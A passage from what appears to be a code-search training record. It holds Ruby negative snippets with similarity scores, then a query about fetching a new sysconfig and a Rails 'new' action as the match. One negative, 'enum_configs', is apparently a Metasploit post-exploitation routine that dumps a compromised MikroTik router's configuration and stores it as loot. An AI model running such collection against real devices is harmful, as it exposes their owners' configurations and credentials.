"def release\n jvm_options\n\n server_dir = ' wlp/usr/servers/' << server_name << '/'\n write_server_name\n runtime_vars_file = server_dir + 'runtime-vars.xml'\n create_vars_string = File.join(LIBERTY_HOME, 'create_vars.rb') << runtime_vars_file << ' &&'\n create_jdk_memory_string = ContainerUtils.space(File.join(LIBERTY_HOME, 'calculate_memory.rb') << ' &&')\n skip_maxpermsize_string = ContainerUtils.space('WLP_SKIP_MAXPERMSIZE=true')\n java_home_string = ContainerUtils.space(\"JAVA_HOME=\\\"$PWD/#{@java_home}\\\"\")\n wlp_user_dir_string = ContainerUtils.space('WLP_USER_DIR=\"$PWD/wlp/usr\"')\n server_script_string = ContainerUtils.space(\"exec #{File.join(LIBERTY_HOME, 'bin', 'server')}\")\n path_string = ContainerUtils.space('PATH=$PWD/.ruby/bin:$PATH') << ' &&'\n\n if File.exist?('/tmp/ruby')\n start_command = \"#{path_string}#{create_vars_string}#{create_jdk_memory_string}#{skip_maxpermsize_string}#{java_home_string}#{wlp_user_dir_string}#{server_script_string} run #{server_name}\"\n else\n start_command = \"#{create_vars_string}#{create_jdk_memory_string}#{skip_maxpermsize_string}#{java_home_string}#{wlp_user_dir_string}#{server_script_string} run #{server_name}\"\n end\n move_app\n\n start_command\n end",
"def deploy!(archive, env)\n archive.upload(Beanstalk.api)\n \n if env.status.empty?\n puts \"Creating stack '#{@stack}' for #{archive.app_name}-#{archive.version}...\"\n env.create!(archive, @stack, @cnames, @config)\n env.wait_until_status_is_not \"Launching\"\n else\n puts \"Deploying #{archive.version} to #{env.name}...\"\n env.deploy!(archive, @config)\n env.wait_until_status_is_not \"Updating\"\n end\n \n env.wait_until_healthy\n puts \"Done. Visit http://#{env.url} in your browser.\"\n DeploymentInfo.new env, archive\n end",
"def start_cloud(resource, vm_ips, vm_ip_roles)\n\n puts \"Starting the cloud\"\n \n # SSH keys have already been distributed when machines were monitorized,\n # so we do not have to distribute them again\n \n # Start torque cloud\n return torque_cloud_start(resource, vm_ip_roles)\n\nend"
] |
[
"0.73133636",
"0.7040861",
"0.6883963",
"0.6820133",
"0.6757936",
"0.6747921",
"0.66988254",
"0.66682243",
"0.6630242",
"0.65734875",
"0.6507835",
"0.6474247",
"0.6417019",
"0.63874507",
"0.6355456",
"0.6350167",
"0.63293135",
"0.6301211",
"0.62736565",
"0.625333",
"0.62529343",
"0.62479675",
"0.6235606",
"0.62080103",
"0.6198865",
"0.6181576",
"0.6166943",
"0.61488557",
"0.61327255",
"0.6126398",
"0.6124428",
"0.6110665",
"0.609699",
"0.60955834",
"0.6086712",
"0.6086712",
"0.60708326",
"0.6067711",
"0.6066143",
"0.6064084",
"0.60403955",
"0.60275596",
"0.60129374",
"0.60040766",
"0.6001159",
"0.5972795",
"0.5967706",
"0.5966685",
"0.5897068",
"0.58963877",
"0.5895516",
"0.58943415",
"0.5892646",
"0.5886421",
"0.5878653",
"0.5867547",
"0.5866229",
"0.5866229",
"0.5866229",
"0.58656746",
"0.5862267",
"0.5861514",
"0.58567697",
"0.584119",
"0.5824973",
"0.58248127",
"0.58188856",
"0.5812175",
"0.5800849",
"0.57967865",
"0.57966423",
"0.57966423",
"0.57934886",
"0.579164",
"0.5787559",
"0.57683355",
"0.57680243",
"0.576579",
"0.576355",
"0.5762755",
"0.5762055",
"0.57619137",
"0.5761758",
"0.5758004",
"0.57528526",
"0.57471234",
"0.5713343",
"0.56951654",
"0.5694423",
"0.56938833",
"0.5693369",
"0.56930983",
"0.5677154",
"0.5670296",
"0.5669225",
"0.5664401",
"0.56610864",
"0.5657986",
"0.56563246",
"0.56485534"
] |
0.6789987
|
4
|
GET /sysconfigs/1 GET /sysconfigs/1.json
|
def show
@sysconfig = Sysconfig.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @sysconfig }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @sysconfigs = Sysconfig.order(created_at: :desc).page(params[:page])\n end",
"def index\n @sys_configs = @system.sys_configs.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @sys_configs.to_xml }\n end\n end",
"def get_serv_config\n\t\taction = \"configuration\"\n\t\tresponse = call_api(action)\n\tend",
"def index\n @system_configs = SystemConfig.all\n end",
"def new\n @sysconfig = Sysconfig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sysconfig }\n end\n end",
"def index\n @system_configs = SystemConfig.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @system_configs }\n end\n end",
"def set_sysconfig\n @sysconfig = Sysconfig.find(params[:id])\n end",
"def show\n @system_configuration = SystemConfiguration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @system_configuration }\n end\n end",
"def show\n @system_configuration = SystemConfiguration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @system_configuration }\n end\n end",
"def index\n @system_configurations = SystemConfiguration.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @system_configurations }\n end\n end",
"def configuration\n _get(\"/system/configuration\") { |json| json }\n end",
"def show\n @sys_config = SysConfig.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @sys_config.to_xml }\n end\n end",
"def show\n @global_config = AppConfig.where(:section => params[:sect])\n @global_config.each do |conf|\n puts conf.confkey\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @global_config }\n end\n end",
"def get_config()\n return @api.do_request(\"GET\", get_base_api_path() + \"/config\")\n end",
"def update\n respond_to do |format|\n if @sysconfig.update(sysconfig_params)\n format.html { redirect_to @sysconfig, notice: 'Sysconfig was successfully updated.' }\n format.json { render :show, status: :ok, location: @sysconfig }\n else\n format.html { render :edit }\n format.json { render json: @sysconfig.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sysconfig = Sysconfig.find(params[:id])\n\n respond_to do |format|\n if @sysconfig.update_attributes(params[:sysconfig])\n format.html { redirect_to @sysconfig, notice: 'Sysconfig was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sysconfig.errors, status: :unprocessable_entity }\n end\n end\n end",
"def config\n system_config.send(service_name.to_sym) || []\n end",
"def create\n @sysconfig = Sysconfig.new(sysconfig_params)\n\n respond_to do |format|\n if @sysconfig.save\n format.html { redirect_to @sysconfig, notice: 'Sysconfig was successfully created.' }\n format.json { render :show, status: :created, location: @sysconfig }\n else\n format.html { render :new }\n format.json { render json: @sysconfig.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @system_config = SystemConfig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @system_config }\n end\n end",
"def create\n @sysconfig = Sysconfig.new(params[:sysconfig])\n\n respond_to do |format|\n if @sysconfig.save\n format.html { redirect_to @sysconfig, notice: 'Sysconfig was successfully created.' }\n format.json { render json: @sysconfig, status: :created, location: @sysconfig }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sysconfig.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @app_config = AppConfig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app_config }\n end\n end",
"def set_system_config\n @system_config = SystemConfig.find(params[:id])\n end",
"def enum_configs\n host = session.session_host\n port = session.session_port\n exec_commands = [\n {\n 'cmd' => '/export verbose',\n 'fn' => 'get_config',\n 'desc' => 'Get Device Config on Mikrotik Device'\n },\n ]\n exec_commands.each do |ec|\n command = ec['cmd']\n cmd_out = session.shell_command(command).gsub(/#{command}/, '')\n print_status(\"Gathering info from #{command}\")\n # detect if we're in pagination and get as much data as possible\n if ec['fn'] == 'get_config'\n mikrotik_routeros_config_eater(host, port, cmd_out.strip)\n else\n cmd_loc = store_loot(\"mikrotik.#{ec['fn']}\",\n 'text/plain',\n session,\n cmd_out.strip,\n \"#{ec['fn']}.txt\",\n ec['desc'])\n vprint_good(\"Saving to #{cmd_loc}\")\n end\n end\n end",
"def index\n @kernel_configs = KernelConfig.all\n end",
"def show\n @site_config = SiteConfig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site_config }\n end\n end",
"def update\n\n respond_to do |format|\n if @sys_config.update_attributes(params[:sys_config])\n flash[:notice] = 'SysConfig was successfully updated.'\n format.html { redirect_to user_system_sys_configs_path(@user, @system) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sys_config.errors.to_xml }\n end\n end\n end",
"def set_sys_config\n @sys_config = SysConfig.config\n end",
"def conf\n @c ||= JSON.load(File.read('/etc/knife-kvm/config.json'))\nend",
"def index\n @app_configs = AppConfig.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @app_configs }\n end\n end",
"def create\n @sys_config = @system.sys_configs.build(params[:sys_config])\n respond_to do |format|\n if @sys_config.save\n flash[:notice] = 'SysConfig was successfully created.'\n format.html { redirect_to user_system_sys_config_url(@user, @system, @sys_config) }\n format.xml { head :created, :location => user_system_sys_config_url(@user, @system, @sys_config) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sys_config.errors.to_xml }\n end\n end\n end",
"def get_config\n if @resource[:section]\n return node.get_config(params: \"section #{@resource[:section]}\", as_string: true)\n end\n node.running_config\n end",
"def get(base_url, options)\n System::GeneralConfiguration.new(\"#{base_url}/api/system/configuration\", options)\n end",
"def get_settings\n return @client.raw(\"get\", \"/config/settings\")\n end",
"def update\n respond_to do |format|\n if @sys_config.update(sys_config_params)\n format.html { redirect_to root_path, notice: 'Configuration was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end",
"def all\n JSON.parse(@client.call('config.get'))\n end",
"def update\n @system_config = SystemConfig.find(params[:id])\n\n respond_to do |format|\n if @system_config.update_attributes(params[:system_config])\n format.html { redirect_to system_configs_url, :notice => 'System config was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @system_config.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def config\n $stdout.puts \"The current configuration of the pow server is:\\n\\n\"\n result = %x{curl localhost/config.json --silent --header host:pow}\n json = JSON.parse(result)\n json.each_pair {|k,v| $stdout.puts \" #{k}: #{v}\"}\n $stdout.puts \"\\n\"\n end",
"def new\n @system_configuration = SystemConfiguration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @system_configuration }\n end\n end",
"def get_config_infos\n configinfo =\n {\n :init_one_appointment_price => Settings.init_one_appointment_price,\n :income_call_number => Settings.income_call_number,\n :call_length => Settings.call_length,\n :tutor_online_time => Settings.tutor_online_time,\n :call_delay_time => Settings.call_delay_time,\n :tutor_single_price => Settings.tutor_single_price\n }\n render :json => configinfo.to_json(), :status => 200\n end",
"def sysinfo\n\t\trequest = Packet.create_request('stdapi_sys_config_sysinfo')\n\t\tresponse = client.send_request(request)\n\n\t\t{\n\t\t\t'Computer' => response.get_tlv_value(TLV_TYPE_COMPUTER_NAME),\n\t\t\t'OS' => response.get_tlv_value(TLV_TYPE_OS_NAME),\n\t\t}\n\tend",
"def destroy\n @sysconfig = Sysconfig.find(params[:id])\n @sysconfig.destroy\n\n respond_to do |format|\n format.html { redirect_to sysconfigs_url }\n format.json { head :no_content }\n end\n end",
"def get_config\n\t\tend",
"def index\n @configs = Config.all\n end",
"def config\n overview[\"config\"]\n end",
"def list_apps\n render :text => app_configs.keys\n end",
"def list_config\n configs = store :get, 'configs'\n (configs.error?) ? 'No config vars set yet.' : configs.to_s\n end",
"def [](name)\n @configs[name]\n end",
"def [](name)\n @configs[name]\n end",
"def index\n @systemsettings = Systemsetting.all\n end",
"def index\n @app_configs = AppConfig.all\n end",
"def config_status\n get \"/setup/api/configcheck\", password_hash\n end",
"def sysconfig_params\n params.require(:sysconfig).permit(:cfgname, :cfginteger, :cfgdate, :cfgtime, :cfgstring, :cfgtext, :lock_version, :txtfile, :imgfile)\n end",
"def read_management_config_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: NsxComponentAdministrationApi.read_management_config ...\"\n end\n # resource path\n local_var_path = \"/configs/management\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ManagementConfig')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: NsxComponentAdministrationApi#read_management_config\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @system_node = SystemNode.find(params[:system_node_id])\n @settings = @system_node.settings\n end",
"def get_configcontent(format, appname, node = self.node, stackname = 'getcourse')\n settings = {}\n unless node.fetch(stackname, {})['env'].nil?\n Chef::Log.info(\"env settings for stack #{stackname} found\")\n settings = streamline_appenv(node[stackname]['env'])\n end\n if node.attribute?(appname) && node[appname].attribute?('env')\n Chef::Log.info(\"env settings for app #{appname} found\")\n settings.merge!(streamline_appenv(node[appname]['env']))\n end\n Chef::Log.info(\"no env settings found - appname was #{appname}, stack #{stackname}\") if settings.empty?\n\n unless node.fetch('deploy', {}).fetch(appname, {}).fetch('database', {})['host'].nil?\n # add configuration from the RDS resource management in opsworks\n Chef::Log.info('found configured rds resource, adding to envvars')\n dbconfig = streamline_appenv('db' => node['deploy'][appname]['database'])\n settings.merge!(dbconfig)\n end\n\n data = {\n 'deployed_application' => get_appdata(node, appname),\n 'deployed_stack' => get_stackdata(node),\n 'settings' => settings\n }\n to_configformat(format, data)\n end",
"def destroy\n @sysconfig.destroy\n respond_to do |format|\n format.html { redirect_to sysconfigs_url, notice: 'Sysconfig was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def show\n @version = Version.find(params[:id])\n @versionconfig= @version.version_configurations.all\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @version }\n end\n end",
"def getvespaconfig(config_name, config_id, vespa_version=nil, hostname=nil, port=nil, debug=nil)\n cmd = \"vespa-get-config -j -n #{config_name} -i #{config_id}\"\n cmd += \" -s #{get_configserver_hostname}\" if hostname\n cmd += \" -p #{port}\" if port\n cmd += \" -V #{vespa_version}\" if vespa_version\n cmd += \" -d\" if debug\n (exitcode, output) = vespa.adminserver.execute(cmd, :noecho => true, :exitcode => true, :nostderr => true)\n if exitcode.to_i == 0\n output = print_and_remove_debug_output_from_getvespaconfig(output) if debug\n JSON.parse(output)\n else\n raise \"Could not get config: #{output}\"\n end\n end",
"def index\n @machine_configs = MachineConfig.all\n end",
"def show\n @configtable = Configtable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @configtable }\n end\n end",
"def getclconfig\n #@creds = @current_user.clouds.all.sort_by(&:provider)\n @stack = Appman.find_by_uuid(params[:uuid])\n @creds = @stack.clouds.all.sort_by(&:provider)\n #@creds = Cloud.all.sort_by(&:provider)\n @azure = false\n @google = false\n @kubernetes = false\n @openstack = false\n @dockerregistry = false\n @aws = false\n @creds.each do |c|\n case c.provider\n when \"azure\"\n @azure = true\n when \"google\"\n @google = true\n when \"kubernetes\"\n @kubernetes = true\n when \"openstack\"\n @openstack = true\n when \"dockerregistry\"\n @dockerregistry = true\n when \"aws\"\n @aws = true\n end\n end\n @appmenid = params[:uuid]\n render \"clouds/getclconfig\", layout: false\n end",
"def index\n @api_configs = ApiConfig.all\n end",
"def update\n respond_to do |format|\n if @system_config.update(system_config_params)\n format.html { redirect_to system_configs_path, notice: \"#{@system_config.description} was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @system_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @sm_backend_config = SmBackendConfig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sm_backend_config }\n end\n end",
"def create\n @system_config = SystemConfig.new(params[:system_config])\n\n respond_to do |format|\n if @system_config.save\n format.html { redirect_to @system_config, :notice => 'System config was successfully created.' }\n format.json { render :json => @system_config, :status => :created, :location => @system_config }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @system_config.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def config( untrusted: false )\n\t\toptions = { untrusted: untrusted }\n\t\tconfig = self.server.run_with_json_template( :showconfig, **options )\n\t\treturn Hglib::Config.new( config )\n\tend",
"def config\n info['Config']\n end",
"def get_settings\n request :get, \"_settings\"\n end",
"def get_settings\n request :get, \"_settings\"\n end",
"def osq_config\n node = ::Frontend::Node.from_node_key(node_key_params)\n render json: node.config.data.to_json\n end",
"def config_status\n config = getconfig\n result = {}\n\n result[:autoboot] = (config[:autoboot]) ? config[:autoboot].to_sym : :true\n result[:pool] = config[:pool]\n result[:shares] = config[:shares]\n dir = config['inherit-pkg-dir']\n if dir\n result[:inherit] = dir.map { |dirs| dirs[:dir] }\n end\n datasets = config['dataset']\n if datasets\n result[:dataset] = datasets.map { |dataset| dataset[:name] }\n end\n result[:iptype] = config[:'ip-type'] if config[:'ip-type']\n net = config['net']\n if net\n result[:ip] = net.map do |params|\n if params[:defrouter]\n \"#{params[:physical]}:#{params[:address]}:#{params[:defrouter]}\"\n elsif params[:address]\n \"#{params[:physical]}:#{params[:address]}\"\n else\n params[:physical]\n end\n end\n end\n\n result\n end",
"def index\n\t\t@siteconfigs = Siteconfig.all\n\tend",
"def list_uptime_check_configs project_id\n require \"google/cloud/monitoring\"\n\n client = Google::Cloud::Monitoring.uptime_check_service\n project_name = client.project_path project: project_id\n configs = client.list_uptime_check_configs parent: project_name\n\n configs.each { |config| puts config.name }\nend",
"def destroy\n @sys_config = SysConfig.find(params[:id])\n @sys_config.destroy\n\n respond_to do |format|\n format.html { redirect_to user_system_sys_configs_url }\n format.xml { head :ok }\n end\n end",
"def create\n @system_config = SystemConfig.new(system_config_params)\n\n respond_to do |format|\n if @system_config.save\n format.html { redirect_to @system_config, notice: 'System config was successfully created.' }\n format.json { render action: 'show', status: :created, location: @system_config }\n else\n format.html { render action: 'new' }\n format.json { render json: @system_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def config(host, port)\n uri = URI::HTTP.build(host: host, port: port, path: '/config')\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n response = http.get(uri.path, \"Accept\" => \"application/json\")\n end",
"def index\n @portal_configs = Portal::Config.all\n end",
"def generate_config(resource)\n resource = symbolize_hash(convert_to_hash(resource))\n config = []\n config << \"lxc.utsname = #{resource[:utsname]}\"\n if(resource[:aa_profile])\n config << \"lxc.aa_profile = #{resource[:aa_profile]}\"\n end\n [resource[:network]].flatten.each do |net_hash|\n nhsh = Mash.new(net_hash)\n flags = nhsh.delete(:flags)\n %w(type link).each do |k|\n config << \"lxc.network.#{k} = #{nhsh.delete(k)}\" if nhsh[k]\n end\n nhsh.each_pair do |k,v|\n config << \"lxc.network.#{k} = #{v}\"\n end\n if(flags)\n config << \"lxc.network.flags = #{flags}\"\n end\n end\n if(resource[:cap_drop])\n config << \"lxc.cap.drop = #{Array(resource[:cap_drop]).join(' ')}\"\n end\n %w(include pts tty arch devttydir mount mount_entry rootfs rootfs_mount pivotdir).each do |k|\n config << \"lxc.#{k.sub('_', '.')} = #{resource[k.to_sym]}\" if resource[k.to_sym]\n end\n prefix = 'lxc.cgroup'\n resource[:cgroup].each_pair do |key, value|\n if(value.is_a?(Array))\n value.each do |val|\n config << \"#{prefix}.#{key} = #{val}\"\n end\n else\n config << \"#{prefix}.#{key} = #{value}\"\n end\n end\n config.join(\"\\n\") + \"\\n\"\n end",
"def lookup_config(name)\n\t\tend",
"def show\n\t\t@list_config = current_user.list_configs.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @list_config }\n\t\t\tformat.json { render :json => @list_config }\n\t\t\tformat.yaml { render :text => @list_config.to_yaml, :content_type => 'text/yaml' }\n\t\tend\n\tend",
"def index\r\n @site_configs = SiteConfig.all\r\n end",
"def show\n @app_config = AppConfig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @app_config }\n end\n end",
"def config_status\n config = getconfig\n result = {}\n\n result[:autoboot] = config[:autoboot] ? config[:autoboot].intern : :absent\n result[:pool] = config[:pool]\n result[:shares] = config[:shares]\n if dir = config[\"inherit-pkg-dir\"]\n result[:inherit] = dir.collect { |dirs| dirs[:dir] }\n end\n if datasets = config[\"dataset\"]\n result[:dataset] = datasets.collect { |dataset| dataset[:name] }\n end\n result[:iptype] = config[:\"ip-type\"]\n if net = config[\"net\"]\n result[:ip] = net.collect do |params|\n if params[:defrouter]\n \"#{params[:physical]}:#{params[:address]}:#{params[:defrouter]}\"\n elsif params[:address]\n \"#{params[:physical]}:#{params[:address]}\"\n else\n params[:physical]\n end\n end\n end\n\n result\n end",
"def show\n @kf_global_config = Kf::GlobalConfig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kf_global_config }\n end\n end",
"def index\n @cfgs = Cfg.all\n end",
"def show\n @clientconfig = Clientconfig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clientconfig }\n end\n end",
"def system_settings\n #\"ports\" : \"phttp 80 shttp 8080 phttps 443 shttps 8443 ptelnet 23 stelnet 8023 telnets 992\"\n # Due to a bug in the BHR, we can't change the primary HTTP port for remote administration yet... leaving out.\n tags = %w(-secondary_http -primary_https -secondary_https -telnet -secondary_telnet -secure_telnet)\n values = tags.inject(\"\") { |x, d| x << \"#{d} #{rand(rand(100)+1 > 10 ? 1023 : 65534)+1} \" }.strip\n condition = values.scan(/-.*?\\d{1,5}/).inject(\"\") { |x, d| x << d.delete(\"-\").capitalize.sub('_', ' ').sub('https', 'HTTPS').sub('http', 'HTTP').sub('telnet', 'Telnet').sub('secure', 'Secure').sub(/(\\d{1,5})/, 'on port \\1')+\"\\n\" }.strip\n return { \"system_settings\" => { \"section\" => \"advanced-system settings\", \"ports\" => values }}, condition\nend",
"def server_configurations\n response = get \"server_size\"\n response[\"server_sizes\"][\"server_size\"]\n end",
"def index\n @jenkins_app_configs = JenkinsAppConfig.all\n end",
"def getspnkconfig\n @jenkinsurl = \"\"\n @jenkinsuser = \"\"\n @jenkinspassword = \"\"\n @enable_email = false\n @email_server = \"\"\n @email_from = \"\"\n @enable_hipchat = false\n @hipchat_url = \"\"\n @hipchat_token = \"\"\n @hipchat_botname = \"\"\n @enable_twilio = false\n @twilio_account = \"\"\n @twilio_token = \"\"\n @twilio_sender = \"\"\n @enable_slack = false\n @slack_token = \"\"\n @slack_bot = \"\"\n @appman = Appman.find_by_uuid(params[:uuid])\n @appmanid = params[:uuid]\n @stackname = @appman.name\n render \"clouds/getspnkconfig\", layout: false\n end",
"def show\n @configure = Configure.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @configure }\n end\n end",
"def index\n @wx_configs = WxConfig.all\n end",
"def get_config(key)\n\t\t@conn.config.get_property(key, '')\n\tend",
"def get_sys_info(server)\n server_id = server['id']\n conn_path = @connection.call('system.get_connection_path', @sid, server_id)\n puts conn_path\n end",
"def destroy\n @system_config = SystemConfig.find(params[:id])\n @system_config.destroy\n\n respond_to do |format|\n format.html { redirect_to system_configs_url }\n format.json { head :ok }\n end\n end",
"def scanConfig()\n configFile = @basePath + \".config.json\" ;\n open(configFile,\"r\"){|strm|\n @config = JSON.load(strm.read()) ;\n }\n return @config ;\n end",
"def index\n\t\t@list_configs = current_user.list_configs.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml { render :xml => @list_configs }\n\t\t\tformat.json { render :json => @list_configs }\n\t\t\tformat.yaml { render :text => @list_configs.to_yaml, :content_type => 'text/yaml' }\n\t\tend\n\tend",
"def read_settings(uuid = @uuid)\n vm = json { execute_prlctl('list', uuid, '--info', '--no-header', '--json') }\n vm.last\n end",
"def show\n @systemadmin = Systemadmin.find(params[:id])\n @pSAdmins = Host.find_all_by_primary_sadmin_id(params[:id])\n @secSAdmins = Host.find_all_by_secondary_sadmin_id(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @systemadmin }\n end\n end",
"def get_uptime_check_config config_name\n require \"google/cloud/monitoring\"\n\n client = Google::Cloud::Monitoring.uptime_check_service\n config = client.get_uptime_check_config name: config_name\n pp config.to_h\n config\nend"
] |
[
"0.7215372",
"0.71492386",
"0.70465827",
"0.6918086",
"0.6900202",
"0.68822014",
"0.6855901",
"0.6722509",
"0.6722509",
"0.6695499",
"0.6690279",
"0.6644363",
"0.6605443",
"0.65996766",
"0.6530625",
"0.6389129",
"0.6339807",
"0.63157856",
"0.625954",
"0.62510806",
"0.61336136",
"0.60813683",
"0.6055287",
"0.5992302",
"0.5982968",
"0.59708905",
"0.5967404",
"0.5943252",
"0.5932646",
"0.59295523",
"0.5921104",
"0.59132713",
"0.589425",
"0.5859821",
"0.5848282",
"0.58450353",
"0.58423096",
"0.58367807",
"0.5813404",
"0.5806955",
"0.58027136",
"0.57988507",
"0.5791645",
"0.5790348",
"0.57777506",
"0.5759087",
"0.57425445",
"0.57425445",
"0.5675542",
"0.56645876",
"0.56492865",
"0.56420356",
"0.5640584",
"0.5635411",
"0.5632823",
"0.5618987",
"0.561875",
"0.56169635",
"0.5598327",
"0.5592151",
"0.5574644",
"0.5573302",
"0.55659753",
"0.5562897",
"0.5538415",
"0.5536093",
"0.5535061",
"0.55328214",
"0.55328214",
"0.5527463",
"0.55222994",
"0.5519937",
"0.5513952",
"0.5512333",
"0.5502975",
"0.5500068",
"0.54970986",
"0.5486591",
"0.5483966",
"0.54563576",
"0.5455277",
"0.54477257",
"0.544215",
"0.5439712",
"0.54297394",
"0.5384415",
"0.5378862",
"0.53784657",
"0.5365806",
"0.5341343",
"0.5339431",
"0.5326572",
"0.53242487",
"0.5319753",
"0.5319578",
"0.5313154",
"0.5307883",
"0.5298657",
"0.5291574",
"0.52792376"
] |
0.76873696
|
0
|
GET /sysconfigs/new GET /sysconfigs/new.json
|
def new
@sysconfig = Sysconfig.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @sysconfig }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @system_config = SystemConfig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @system_config }\n end\n end",
"def create\n @sysconfig = Sysconfig.new(params[:sysconfig])\n\n respond_to do |format|\n if @sysconfig.save\n format.html { redirect_to @sysconfig, notice: 'Sysconfig was successfully created.' }\n format.json { render json: @sysconfig, status: :created, location: @sysconfig }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sysconfig.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sysconfig = Sysconfig.new(sysconfig_params)\n\n respond_to do |format|\n if @sysconfig.save\n format.html { redirect_to @sysconfig, notice: 'Sysconfig was successfully created.' }\n format.json { render :show, status: :created, location: @sysconfig }\n else\n format.html { render :new }\n format.json { render json: @sysconfig.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @system_configuration = SystemConfiguration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @system_configuration }\n end\n end",
"def create\n @sys_config = @system.sys_configs.build(params[:sys_config])\n respond_to do |format|\n if @sys_config.save\n flash[:notice] = 'SysConfig was successfully created.'\n format.html { redirect_to user_system_sys_config_url(@user, @system, @sys_config) }\n format.xml { head :created, :location => user_system_sys_config_url(@user, @system, @sys_config) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sys_config.errors.to_xml }\n end\n end\n end",
"def create\n @system_config = SystemConfig.new(params[:system_config])\n\n respond_to do |format|\n if @system_config.save\n format.html { redirect_to @system_config, :notice => 'System config was successfully created.' }\n format.json { render :json => @system_config, :status => :created, :location => @system_config }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @system_config.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @site_config = SiteConfig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site_config }\n end\n end",
"def new\n @global_config = AppConfig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @global_config }\n end\n end",
"def create\n @system_config = SystemConfig.new(system_config_params)\n\n respond_to do |format|\n if @system_config.save\n format.html { redirect_to @system_config, notice: 'System config was successfully created.' }\n format.json { render action: 'show', status: :created, location: @system_config }\n else\n format.html { render action: 'new' }\n format.json { render json: @system_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @sysconfig = Sysconfig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sysconfig }\n end\n end",
"def new\n @configtable = Configtable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @configtable }\n end\n end",
"def new\n @sys_check = SysCheck.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sys_check }\n end\n end",
"def new\n @configure = Configure.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @configure }\n end\n end",
"def index\n @sysconfigs = Sysconfig.order(created_at: :desc).page(params[:page])\n end",
"def create body = {}\n @connection.request(method: :post, path: \"/configs/create\", headers: {\"Content-Type\": \"application/json\"}, body: body.to_json)\n end",
